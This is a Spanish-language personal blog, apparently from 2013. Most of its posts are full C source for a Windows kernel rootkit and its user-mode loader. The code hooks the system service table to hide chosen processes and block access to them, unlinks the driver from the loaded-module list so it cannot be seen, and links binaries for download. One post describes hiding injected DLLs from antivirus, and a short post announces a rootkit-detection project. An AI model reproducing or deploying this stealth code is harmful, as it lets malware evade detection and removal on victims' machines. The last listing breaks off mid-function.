domingo, 9 de junio de 2013

Kernel Analysis, Open Source

He comenzando un proyecto Open Source lo he llamado "Kernel Analysis", el objetivo de la herramienta es detectar y reparar anomalías causadas por rootkits o Antivirus. El proyecto será desarrollado en inglés para que se unan personas con conocimientos en el tema y que no sean necesariamente hispanohablantes. El repositorio se encuentra en GitHub con su primera versión.
La primera versión solo incluye el driver que por ahora devuelve una matriz de los módulos cargados por el método de llamada directa a la API y por DKOM (Direct Kernel Object Manipulation). La GUI será subida en posteriores commits.

Link al repositorio en GitHub.

Saludos!

viernes, 24 de mayo de 2013

Rootkit v3

En esta versión preferí dedicarme a proteger el driver, usando DKOM manipulo la PsLoadedModuleList aprovechando que no hay cambios entre SO y borrar el rastro del driver. Como siempre adjuntos binarios y código fuente, hice pequeños cambios en el mensajero también se adjunta.

Unas imagenes.

 photo Captura-6_zps932b1fc8.png
 photo Captura2-2_zpsa5944e57.png
 photo Captura3-2_zps5e9db873.png

Mensajero
#include 
#include 
#include 
 
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define HideDriver CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000003, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
 
void Usage(char *name);
char *ExtractFileName(char *Name);
void SendPID(int PID, DWORD IoState);
 
int main(int argc, char *argv[])
{
  int i = 1;
  if (argc == 1) {
    Usage(argv[0]);
    return 0;
  }
  if (strlen(argv[1]) != 2){
    Usage(argv[0]);
    return 0;
  }
  switch (argv[1][1]){
    case 'i' :
    {
      //Se abre el administrador de servicios con la flag CREATE_SERVICE
      SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
      if (SCMan == NULL){
        printf("No se tienen los permisos necesarios para acceder a los servicios\n");
        return 0; 
      }
      //Crea el servicio tipo Driver, que inicie con el sistema
      SC_HANDLE Serv = CreateService(SCMan, argv[2], argv[2],
                                    SERVICE_ALL_ACCESS, // Desired Access 
                                    SERVICE_KERNEL_DRIVER, // Service Type 
                                    SERVICE_DEMAND_START, // Start Type 
                                    SERVICE_ERROR_NORMAL, // Error Controle 
                                    argv[3], NULL, NULL, NULL, NULL, NULL);
      printf("Ruta: %s\n", argv[3]);
      if (Serv == NULL){
        if (GetLastError() == 1073){ //El error 0x431 significa que ya existe el servico
          Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS); //Simplemente obtenemos el handle
          if (Serv == NULL){
            printf("No se puede abrir el servicio\n");
            printf("Error 0x%x", GetLastError()); 
            return 0;
          }
        } else {
          printf("No se puede crear el servicio\n"); 
          printf("Error 0x%x", GetLastError());
          return 0;
        }
      }
      if (!StartService(Serv, 0, NULL)){ //Iniciamos el servicio
        printf("No se puede iniciar el servicio\n");
        printf("Error 0x%x", GetLastError());
        return 0; 
      }
      printf("El servicio %s se ha instalado e iniciado...", argv[2]);
      CloseServiceHandle(Serv); //Cerramos el handle del servicio
      CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios
      break;
    }
    case 'd':{
      //Abrimos el admin de servicios
      SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
      if (SCMan == NULL){
        printf("No se tienen los permisos necesarios para acceder a los servicios\n");
        return 0; 
      }
      //Se obtiene un handle del servicio
      SC_HANDLE Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS);
      if (Serv == NULL){
        printf("Error abriendo el servicio %d\n", GetLastError());
        return 0;
      }
      SERVICE_STATUS servStatus; //Enviamos la señal STOP_SERVICE
      BOOL bRet = ControlService(Serv, SERVICE_CONTROL_STOP, &servStatus);
      if (!bRet && (GetLastError() != ERROR_SERVICE_NOT_ACTIVE)){ //Este error significa que ya esta detenido
        printf("No se ha podido detener el servicio\nError: %d", GetLastError());
        return 0; 
      }
      if (!DeleteService(Serv)){ //Lo eliminamos
        printf("Error eliminando el servicio %d", GetLastError());
        return 0;
      }
      printf("Servicio %s detenido y desinstalado", argv[2]);
      CloseServiceHandle(Serv); //Cerramos el handle del servicio
      CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios
      break;
    }
     
    case 'h':{
      printf("Proteccion de PID\n");
      SendPID(atoi(argv[2]), Block);
      break;
    }
     
    case 'u':{
      printf("Liberación de PID\n");
      SendPID(atoi(argv[2]), Unblock);
      break; 
    }
    
    case 'm':{
      printf("Ocultando driver\n"); 
      SendPID(0, HideDriver);
      break;
    }
  }
  //system("PAUSE");    
  return 0;
}
 
void Usage(char *name){
  printf("%s [opciones] [parametros]\n", ExtractFileName(name));
  printf("   -i [Nombre] [Ruta]    Carga y crea el servicio del driver.\n");
  printf("   -d [Nombre]           Detiene y elimina en servicio del driver.\n");
  printf("   -h [PID]              Protege un proceso.\n");
  printf("   -u [PID]              Libera un proceso.\n");
  printf("   -m                    Oculta el driver por DKOM\n");
}
 
char *ExtractFileName(char *name){
  int len = strlen(name);
   
  while (len > 0){
    if ((int)name[len] != 92)
      len--;
    else {
      len++;
      break;
    }
  }
  int iname = strlen(name) - len;
  char *ret = malloc((iname + 1)*sizeof(char));
  strcpy(ret, name + len);
  return ret;
}
 
void SendPID(int PID, DWORD IoState){
  HANDLE hDevice;
  BOOL bRet;
  DWORD a, dwState;
  int iBuffer, oBuffer;
   
  //iBuffer = PID;
  hDevice = CreateFile("\\\\.\\driverpid", GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
  if (hDevice != INVALID_HANDLE_VALUE)
  {
    printf("Handle Device: %d\n", hDevice);
    /*if (bBlock)
      dwState = (DWORD)Block; 
    else
      dwState = (DWORD)Unblock;*/
     
    printf("Enviando peticion\n");
    bRet = DeviceIoControl(hDevice, IoState, &PID, sizeof(int), &oBuffer, sizeof(int), &a, NULL);
    if (bRet)
      printf("PID: %d se respondio %d\n", iBuffer, oBuffer);  
  } else { 
    printf("No se puede establecer conexion\n");
    printf("0x%08x\n",GetLastError()); 
  }
}
hook.h
#include 

#ifndef _HOOK_H_
  #define _HOOK_H_
#endif

typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

typedef struct _SYSTEM_THREAD {
  LARGE_INTEGER           KernelTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           CreateTime;
  ULONG                   WaitTime;
  PVOID                   StartAddress;
  CLIENT_ID               ClientId;
  KPRIORITY               Priority;
  LONG                    BasePriority;
  ULONG                   ContextSwitchCount;
  ULONG                   State;
  KWAIT_REASON            WaitReason;
} SYSTEM_THREAD, *PSYSTEM_THREAD;

typedef struct _SYSTEM_PROCESS_INFORMATION {
  ULONG                   NextEntryOffset;
  ULONG                   NumberOfThreads;
  LARGE_INTEGER           Reserved[3];
  LARGE_INTEGER           CreateTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           KernelTime;
  UNICODE_STRING          ImageName;
  KPRIORITY               BasePriority;
  HANDLE                  ProcessId;
  HANDLE                  InheritedFromProcessId;
  ULONG                   HandleCount;
  ULONG                   Reserved2[2];
  ULONG                   PrivatePageCount;
  VM_COUNTERS             VirtualMemoryCounters;
  IO_COUNTERS             IoCounters;
  SYSTEM_THREAD           Threads[0];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;

typedef struct _MODULE_ENTRY {
		LIST_ENTRY Link; // FLink and BLink
		ULONG Unknown[4];
		ULONG ImageBase;
		ULONG EntryPoint;
		ULONG ImageSize;
		UNICODE_STRING DriverPath;
		UNICODE_STRING DriverName;
	} MODULE_ENTRY, *PMODULE_ENTRY;
 
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define HideDriver CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000003, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)

typedef DWORD (ULONG);
PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
 
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
 
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
 
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
main.c
#include 
#include "hook.h"

//Declaramos la API para poder trabajar con ella.
NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);

typedef NTSTATUS (*TypZwQuerySysInfo)(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
TypZwQuerySysInfo ZwQuerySysInfoIni;

typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
TypZwOpenProc ZwOpenProcessIni;

const WCHAR   	Device[]=L"\\device\\driverpid";
const WCHAR		sLink[]=L"\\??\\driverpid";
USHORT ListPID[3];
UNICODE_STRING	Dev, lnk;
PVOID DriverCurrent = NULL;
//int ListPID;

int SearchPID(HANDLE PID){
  int i;
  
  for (i = 0; i < 3; i++){
    if ((HANDLE)ListPID[i] == PID) 
      return i;
  } 
  return -1;
}

int FreeIndex(){
  int i;
  
  for (i = 0; i < 3; i++){
    if (ListPID[i] == 0) 
      return i;
  } 
  return -1;
}

/*
Función que es llamada para cualquier interacción con el driver
Pero, solo maneja los I/O por medio de IRPs
*/

NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){
  PIO_STACK_LOCATION Stack;
  PUSHORT oBuffer;
  PUSHORT iBuffer;
  int i;
  NTSTATUS Status = STATUS_SUCCESS;
  PMODULE_ENTRY Module;
  
  Stack = IoGetCurrentIrpStackLocation(Irp);
      
  iBuffer = oBuffer = (PUSHORT)Irp->AssociatedIrp.SystemBuffer;
  if (oBuffer && iBuffer){
    DbgPrint("Accesando a bloqueo de PID");
    DbgPrint("Asociando buffers...");
    if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){
      DbgPrint("Peticion recibida a PID: %d", *iBuffer);
      if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){
        DbgPrint("Revisando estado de lista.");
        Irp->IoStatus.Information = sizeof(int);
        switch(Stack->Parameters.DeviceIoControl.IoControlCode){
          case Block:
          {
            //if (ListPID == 0){
            i = FreeIndex();
            if (i >= 0){
              DbgPrint("Protegiendo PID %d.", *iBuffer);
              ListPID[i] = (USHORT)*iBuffer;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay espacio para proteger.");  
            }
            break;
          }
    
          case Unblock:
          {
            DbgPrint("Eliminando proteccion"); 
            i = SearchPID((HANDLE)*iBuffer);
            if (i >= 0){
            //if (ListPID != 0){
              DbgPrint("Liberando PID %d.", *iBuffer);
              ListPID[i] = 0;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay procesos protegidos.");  
            }
          }
		  case HideDriver:
			{
				PVOID First;
				DbgPrint("Current: %8X", DriverCurrent);
				__asm
				{
					mov eax, dword ptr fs:[0x1C]	 // KPCR
					mov eax,[eax+0x34]	 //KPCR -> KdVersionBlock
					mov eax,[eax+0x70]	 //KDDEBUGGER_DATA32 -> PsLoadedModulesList
					mov Module,eax
				}
				First = (PVOID)Module;
				Module = (PMODULE_ENTRY)Module->Link.Flink;
				while (((ULONG)Module->Link.Flink != 0) && (Module->Link.Flink != First)){
					if ((PVOID)Module == DriverCurrent){
						((PMODULE_ENTRY)Module->Link.Blink)->Link.Flink = Module->Link.Flink;
						((PMODULE_ENTRY)Module->Link.Flink)->Link.Blink = Module->Link.Blink;
						DbgPrint("Se ha ocultado el driver.");
					}
					Module = (PMODULE_ENTRY)Module->Link.Flink;
				}
				break;
			}
		  default:
			  Status = STATUS_SUCCESS;
			  break;
        } //Switch
      } else {
        Status = STATUS_BUFFER_TOO_SMALL; 
        Irp->IoStatus.Information = 0;
      } //Buffer Small
    } //In buffer
  } //Asociar buffer
  Irp->IoStatus.Status = STATUS_SUCCESS;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Status;
}

NTSTATUS NewZwQuerySysInfo(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
	NTSTATUS Status;
	PSYSTEM_PROCESS_INFORMATION Actual, Next;
	int i;
  
	Status = ZwQuerySysInfoIni(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
  //DbgPrint("Llamada a la API original");
  
	if (SystemInformationClass != 5)//Si no llaman a la API para los procesos no nos importa
		return Status;
  //DbgPrint("Han pedido informacion de procesos");
    
	if (!NT_SUCCESS(Status))//En este punto han llamado para los procesos, pero algo fallo
		return Status;
  
  //Cargamos el primer proceso que es 0 (?)
	Actual = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  //Si es el ultimo proceso esta entrada esta seteada en 0
  //Por tanto si es el ultimo no se ejecuta el bloque while
	while (Actual->NextEntryOffset){ 
    //Cargamos el siguiente proceso
		Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Actual + Actual->NextEntryOffset);
    //Si el PID del proceso es igual al que estamos protegiendo
    //Y el PID a proteger no es 0 (ningún PID a proteger)
		i = SearchPID(Next->ProcessId);
		if (Next->ProcessId != 0){
			while (i >= 0){
				DbgPrint("Ocultando Proceso: %d", ListPID[i]);
      //En este caso si esta entrada esta seteada a 0 el siguiente proceso es el ultimo
				if (Next->NextEntryOffset == 0)
        //Así que hacemos que el proceso actual sea el ultimo
					Actual->NextEntryOffset = 0;
				else
					Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
          
				Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Next + Next->NextEntryOffset); 
				i = SearchPID(Next->ProcessId); 
			}
      //Si no es el ultimo sumamos las entradas del actual y del siguiente
      //Para saltar la entrada de nuestro proceso
      //Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
      //No salimos del break porque puede haber mas procesos a ocultar
		}
    //Cargamos el siguiente bloque de proceso
		Actual = (PSYSTEM_PROCESS_INFORMATION)((char *)Actual + Actual->NextEntryOffset);
	}
	return Status;
}
 
NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL)
{
	HANDLE PID;
 
	__try //Utilizamos el bloque try para evitar BSOD
	{
		PID = ClientId->UniqueProcess;
	}
	__except(EXCEPTION_EXECUTE_HANDLER){
		return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe
	}
 
	//Verificamos el pid
	if ((SearchPID(PID) >= 0) && (PID != 0)){
		//if (PID == (HANDLE)ListPID){
		DbgPrint("PID: %d", PID);
		return STATUS_ACCESS_DENIED; //Retornamos acceso denegado 
	} else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto
}
 
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
	DbgPrint("Descargando driver...");
	//Unhookeamos 
	UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess );
	UNHOOK_SYSCALL( ZwQuerySystemInformation, ZwQuerySysInfoIni, NewZwQuerySysInfo);
	DbgPrint("Eliminando Hooks");
	//Eliminamos la MDL
	if(g_pmdlSystemCall){
		MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
		IoFreeMdl(g_pmdlSystemCall);
	}
	DbgPrint("Proteccion a SSDT restaurada");
}

NTSTATUS DriverIODispatch(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
	Irp->IoStatus.Status = STATUS_SUCCESS;   
    Irp->IoStatus.Information = 0;
	IoCompleteRequest(Irp, IO_NO_INCREMENT);
	return STATUS_SUCCESS;
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
	NTSTATUS Status;
	DriverObject->DriverUnload  = OnUnload;
	DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]        =   
	DriverObject->MajorFunction[IRP_MJ_CREATE]          =   
	DriverObject->MajorFunction[IRP_MJ_CLOSE]           = DriverIODispatch;  
	DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  = IOControl; 
   
   RtlInitUnicodeString(&Dev,Device);
   RtlInitUnicodeString(&lnk,sLink);
   DriverCurrent = DriverObject->DriverSection;
   
   //Creamos la MDL para deshabilitar la protección de memoria
   //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;
 
   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
 
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
 
   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
 
   Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject);
 
	 if (NT_SUCCESS(Status)){
    Status =IoCreateSymbolicLink(&lnk,&Dev);
    DbgPrint("Creando device...");
		if(!NT_SUCCESS(Status)){
		   IoDeleteDevice(DriverObject->DeviceObject);
			 DbgPrint("Error creando link simbolico");
		}else
		  DbgPrint("SymbolicLink creado y cargado.");
	}else
		DbgPrint("Error creando el device.");
   
  DbgPrint("Driver cargado.");
  /*
  Hooking de las APIs
  Obtenemos la direccion de OpenProcess
  */
  ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess));
 
  DbgPrint("Hookeando OpenProcess...");
  /*
  Cambiamos la dirección de la SSDT por la nuestra
  */
  HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni );
 
  ZwQuerySysInfoIni = (TypZwQuerySysInfo)(SYSTEMSERVICE(ZwQuerySystemInformation));
  
  DbgPrint("Hookeando QuerySysInfo...");
  HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySysInfo, ZwQuerySysInfoIni);
   return  Status;
}

Descarga: http://www.sendspace.com/file/6l3gxb

Saludos! :drinking:

martes, 16 de abril de 2013

Ocultar modulos, rootkit ring3

Dentro de los rootkits existen los de ring3 (En modo Usuario) que bien pueden afectar solo a un proceso o la división entre MK y MU. Una manera de ocultar los que afectan a un solo proceso es eliminando rastro de que esta cargado ante los ojos del proceso o cualquier otro (como un AV) que esté en busca de librerías maliciosas.
Esto consiste en modificar las LIST_ENTRY de la PEB del proceso, en el source solo aplique InLoadOrderModuleList, pero para eliminar la mayor parte del rastro podemos modificar las tres listas; InLoadOrderModuleList, InMemoryOrderModuleList, InInitializationOrderModuleList.

Antes de ocultar el módulo.


Después de ocultar el módulo.


Descarga: http://www.sendspace.com/file/db4d33

Saludos!

miércoles, 30 de enero de 2013

Driver rumbo a rootkit

Continué agregando código al driver del post pasado, esta vez para ocultar el proceso y también protegerlo, ademas de que se pueden proteger hasta 3 procesos en lugar de uno, utilice el método HOOK_SYSCALL en lugar de DKOM por qué es un driver de protección que se puede descargar en cualquier momento si aplico el método DKOM debo de mantener un respaldo de las entradas a la EPROCESS modificadas y para evitar entrar en rollos mejor lo hice así.
El EXE es igual al post pasado.

Codigo de Hook.h
#include 
 
#ifndef _HOOK_H_
  #define _HOOK_H_
#endif
 
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
 
typedef struct _SYSTEM_THREAD {
  LARGE_INTEGER           KernelTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           CreateTime;
  ULONG                   WaitTime;
  PVOID                   StartAddress;
  CLIENT_ID               ClientId;
  KPRIORITY               Priority;
  LONG                    BasePriority;
  ULONG                   ContextSwitchCount;
  ULONG                   State;
  KWAIT_REASON            WaitReason;
} SYSTEM_THREAD, *PSYSTEM_THREAD;
 
typedef struct _SYSTEM_PROCESS_INFORMATION {
  ULONG                   NextEntryOffset;
  ULONG                   NumberOfThreads;
  LARGE_INTEGER           Reserved[3];
  LARGE_INTEGER           CreateTime;
  LARGE_INTEGER           UserTime;
  LARGE_INTEGER           KernelTime;
  UNICODE_STRING          ImageName;
  KPRIORITY               BasePriority;
  HANDLE                  ProcessId;
  HANDLE                  InheritedFromProcessId;
  ULONG                   HandleCount;
  ULONG                   Reserved2[2];
  ULONG                   PrivatePageCount;
  VM_COUNTERS             VirtualMemoryCounters;
  IO_COUNTERS             IoCounters;
  SYSTEM_THREAD           Threads[0];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
  
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
 
typedef DWORD (ULONG);
PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
  
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)

Código de main.c
#include 
#include "hook.h"
 
//Declaramos la API para poder trabajar con ella.
NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
 
typedef NTSTATUS (*TypZwQuerySysInfo)(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength);
TypZwQuerySysInfo ZwQuerySysInfoIni;
 
typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
TypZwOpenProc ZwOpenProcessIni;
 
const WCHAR     Device[]=L"\\device\\driverpid";
const WCHAR     sLink[]=L"\\??\\driverpid";
USHORT ListPID[3];
UNICODE_STRING  Dev, lnk;
//int ListPID;
 
int SearchPID(HANDLE PID){
  int i;
   
  for (i = 0; i < 3; i++){
    if ((HANDLE)ListPID[i] == PID) 
      return i;
  } 
  return -1;
}
 
int FreeIndex(){
  int i;
   
  for (i = 0; i < 3; i++){
    if (ListPID[i] == 0) 
      return i;
  } 
  return -1;
}
 
/*
Función que es llamada para cualquier interacción con el driver
Pero, solo maneja los I/O por medio de IRPs
*/
 
NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){
  PIO_STACK_LOCATION Stack;
  int *oBuffer;
  int *iBuffer;
  int i;
  NTSTATUS Status = STATUS_SUCCESS;
   
  Stack = IoGetCurrentIrpStackLocation(Irp);
       
  iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer;
  if (oBuffer && iBuffer){
    DbgPrint("Accesando a bloqueo de PID");
    DbgPrint("Asociando buffers...");
    if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){
      DbgPrint("Peticion recibida a PID: %d", *iBuffer);
      if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){
        DbgPrint("Revisando estado de lista.");
        Irp->IoStatus.Information = sizeof(int);
        switch(Stack->Parameters.DeviceIoControl.IoControlCode){
          case Block:
          {
            //if (ListPID == 0){
            i = FreeIndex();
            if (i >= 0){
              DbgPrint("Protegiendo PID %d.", *iBuffer);
              ListPID[i] = (USHORT)*iBuffer;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay espacio para proteger.");  
            }
            break;
          }
     
          case Unblock:
          {
            DbgPrint("Eliminando proteccion"); 
            i = SearchPID((HANDLE)*iBuffer);
            if (i >= 0){
            //if (ListPID != 0){
              DbgPrint("Liberando PID %d.", *iBuffer);
              ListPID[i] = 0;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay procesos protegidos.");  
            }
          }
        } //Switch
      } else {
        Status = STATUS_BUFFER_TOO_SMALL; 
        Irp->IoStatus.Information = 0;
      } //Buffer Small
    } //In buffer
  } //Asociar buffer
  Irp->IoStatus.Status = STATUS_SUCCESS;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Status;
}
 
NTSTATUS NewZwQuerySysInfo(IN ULONG SystemInformationClass, IN PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength)
{
  NTSTATUS Status;
  PSYSTEM_PROCESS_INFORMATION Actual, Next;
  int i;
   
  Status = ZwQuerySysInfoIni(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
  //DbgPrint("Llamada a la API original");
   
  if (SystemInformationClass != 5)//Si no llaman a la API para los procesos no nos importa
    return Status;
  //DbgPrint("Han pedido informacion de procesos");
     
  if (!NT_SUCCESS(Status))//En este punto han llamado para los procesos, pero algo fallo
    return Status;
   
  //Cargamos el primer proceso que es 0 (?)
  Actual = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;
  //Si es el ultimo proceso esta entrada esta seteada en 0
  //Por tanto si es el ultimo no se ejecuta el bloque while
  while (Actual->NextEntryOffset){ 
    //Cargamos el siguiente proceso
    Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Actual + Actual->NextEntryOffset);
    //Si el PID del proceso es igual al que estamos protegiendo
    //Y el PID a proteger no es 0 (ningún PID a proteger)
    i = SearchPID(Next->ProcessId);
    if (Next->ProcessId != 0){
      while (i >= 0){
        DbgPrint("Ocultando Proceso: %d", ListPID[i]);
      //En este caso si esta entrada esta seteada a 0 el siguiente proceso es el ultimo
        if (Next->NextEntryOffset == 0)
        //Así que hacemos que el proceso actual sea el ultimo
          Actual->NextEntryOffset = 0;
        else
          Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
           
        Next = (PSYSTEM_PROCESS_INFORMATION)((char*)Next + Next->NextEntryOffset); 
        i = SearchPID(Next->ProcessId); 
      }
      //Si no es el ultimo sumamos las entradas del actual y del siguiente
      //Para saltar la entrada de nuestro proceso
      //Actual->NextEntryOffset = Actual->NextEntryOffset + Next->NextEntryOffset;
      //No salimos del break porque puede haber mas procesos a ocultar
    }
    //Cargamos el siguiente bloque de proceso
    Actual = (PSYSTEM_PROCESS_INFORMATION)((char *)Actual + Actual->NextEntryOffset);
  }
  return Status;
}
  
NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL)
{
  HANDLE PID;
  
  __try //Utilizamos el bloque try para evitar BSOD
  {
     PID = ClientId->UniqueProcess;
  }
  __except(EXCEPTION_EXECUTE_HANDLER)
  {
     return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe
    }
  
    //Verificamos el pid
    if ((SearchPID(PID) >= 0) && (PID != 0)){
    //if (PID == (HANDLE)ListPID){
    DbgPrint("PID: %d", PID);
    return STATUS_ACCESS_DENIED; //Retornamos acceso denegado 
  }
